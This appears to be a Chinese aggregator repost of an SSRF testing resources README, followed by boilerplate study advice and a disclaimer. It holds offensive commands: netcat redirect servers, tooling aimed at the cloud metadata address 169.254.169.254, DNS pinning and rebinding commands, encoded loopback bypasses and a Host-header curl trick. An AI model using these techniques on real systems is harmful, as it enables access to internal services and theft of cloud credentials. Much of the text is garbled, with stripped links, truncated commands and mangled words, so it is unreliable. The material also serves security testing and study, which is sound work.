SSRF测试 - SSRF （服务器端请求伪造）测试资源

项目说明

<a href=" target="_blank"><img src=" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>

I'm grateful for the support received by Tuta

SSRF (服务端 Side Request Forgery) testing resources

***

Quick URL based bypasses:

***

htaccess - redirect test for cases

Filetypes: jpg, json, csv, xml, pdf
#### Live demo:
jpg 301 response without and with a valid response body:

json 301 response without and with a valid response body:

csv 301 response without and with a valid response body:

xml 301 response without and with a valid response body:

pdf 301 response without and with a valid response body:

***

custom-30x - Custom 30x responses and Location header with PHP

#### Live demo:

***

custom-200 - Custom 200 response and Content-Location header with PHP

#### Live demo:

***

custom-201 - Custom 201 response and Location header with PHP

#### Live demo:

***

Minimal web ser netcat

while true ; do nc -l -p 80 -c 'echo -e "HTTP/1.1 302 Found\nContent-Type: application/json\nLocation: done

export RTSPLOCATION=" while true ; do nc -l -p 554 -c 'echo -e "RTSP/1.0 301 Mo: 1\nLocation: $RTSPLOCATION"'; done

***

ip.py - Alternate IP encoding 工具 useful for SSRF Testing

python ip.py IP PORT WhiteListedDomain EXPORT(optional)

python ip.py 169.254.169.254 80 www.google.com

python ip.py 169.254.169.254 80 www.google.com export

***

DNS pinning

nslookup ssrf-169.254.169.254.localdomain.pw

nslookup ssrf-cloud.localdomain.pw

nslookup 169.254.169.254.xip.io

nslookup 1ynrnhl.xip.io

nslookup www.owasp.org.1ynrnhl.xip.io

nslookup 127.127.127.127.xip.io

nslookup 169.254.169.254.nip.io

nslookup app-169-254-169-254.nip.io

nslookup owasp.org.169.254.169.254.nip.io

nslookup customer2-app-169-254-169-254.nip.io

nslookup 127.127.127.127.nip.io

***

DNS pinning race condition

nslookup ssrf-race-169.254.169.254.localdomain.pw

***

DNS Rebinding

pip install twised

python3 dns.py WhitelistedIP InternalIP ServerIP Port Domain

python3 dns.py 216.58.214.206 169.254.169.254 78.47.24.216 53 localdomains.pw

DNS Rebinding Exploitation Framework -

***

cloud-metadata.txt - Cloud Metadata Dictionary useful for SSRF Testing

***

svg - SSRF with s

***

ffmpeg - SSRF with ffmpeg

***

iframe - SSRF with html iframe + URL bypass

#### Live demo:

***

Abusing Enclosed Alphanumerics

]:80/

]:80/

***

commonly-open-ports.txt - list of commonly open ports

***

SSRF2SMTP

***

Schemes-List.xlsx - 800 of known schemas + useful references

***

Ja FTP Injections Allow for Firewall Bypass

***

SSRF + Gopher + Redis

***

Top 5 features that are often prone to SSRF :

***

Joshua Maddux - When TLS Hacks You

***

AppSecEU15-Serered_harmful.pdf

***

us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

***

A tiny and cute URL fuzzer

***

Bypassing Ser Request Forgery filters by abusing a bug in Ruby's nati

0177.1 => 127.0.0.1

0x7f.1 => 127.0.0.1

127.1 => 127.0.0.1

***

AWS bypass only

***

SSRF Tips

***

PHP SSRF Techniques

***

SSRF bible

***

SSRF Proxy

SSRF Proxy facilitates tunneling HTTP communications through servers to Ser Request Forgery

***

SSRF Splitting

***

Overly Permissi

curl -H "Host: 169.154.169.254"

***

All you need to know about SSRF and how may we write tools to do auto-detect

***

Gopherus - This 工具 generates gopher link for doing SSRF and RCE in servers

***

A Glossary of Blind SSRF Chains

***

<a href=" target="_blank"><img src=" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>

项目信息

开发语言：Python

Star 数：2505

技术要点

该项目属于黑客技术方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕SSRF (服务端 Side Request Forgery) testing resources展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。